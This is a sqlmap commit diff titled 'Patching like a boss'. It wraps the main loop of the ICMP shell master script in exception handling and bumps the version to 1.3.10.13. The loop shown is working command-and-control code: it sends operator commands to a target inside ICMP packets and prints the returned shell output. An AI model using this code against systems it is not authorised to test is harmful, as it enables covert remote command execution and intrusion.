Patching like a boss (Issue #3962)

This commit is contained in:
Miroslav Stampar 2019-10-10 16:23:26 +03:00
parent 8407344991
commit 1fa81fedf3
2 changed files with 46 additions and 43 deletions

View File

@ -76,60 +76,63 @@ def main(src, dst):
decoder = ImpactDecoder.IPDecoder() decoder = ImpactDecoder.IPDecoder()
while True: while True:
cmd = '' try:
cmd = ''
# Wait for incoming replies # Wait for incoming replies
if sock in select.select([sock], [], [])[0]: if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096) buff = sock.recv(4096)
if 0 == len(buff): if 0 == len(buff):
# Socket remotely closed # Socket remotely closed
sock.close() sock.close()
sys.exit(0) sys.exit(0)
# Packet received; decode and display it # Packet received; decode and display it
ippacket = decoder.decode(buff) ippacket = decoder.decode(buff)
icmppacket = ippacket.child() icmppacket = ippacket.child()
# If the packet matches, report it to the user # If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number # Get identifier and sequence number
ident = icmppacket.get_icmp_id() ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq() seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string() data = icmppacket.get_data_as_string()
if len(data) > 0: if len(data) > 0:
sys.stdout.write(data) sys.stdout.write(data)
# Parse command from standard input # Parse command from standard input
try: try:
cmd = sys.stdin.readline() cmd = sys.stdin.readline()
except: except:
pass pass
if cmd == 'exit\n': if cmd == 'exit\n':
return return
# Set sequence number and identifier # Set sequence number and identifier
icmp.set_icmp_id(ident) icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id) icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet # Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd)) icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum # Calculate its checksum
icmp.set_icmp_cksum(0) icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1 icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload) # Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp) ip.contains(icmp)
try: try:
# Send it to the target host # Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0)) sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex: except socket.error as ex:
sys.stderr.write("'%s'\n" % ex) sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush() sys.stderr.flush()
except:
break
if __name__ == '__main__': if __name__ == '__main__':
if len(sys.argv) < 3: if len(sys.argv) < 3:

View File

@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.10.12" VERSION = "1.3.10.13"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)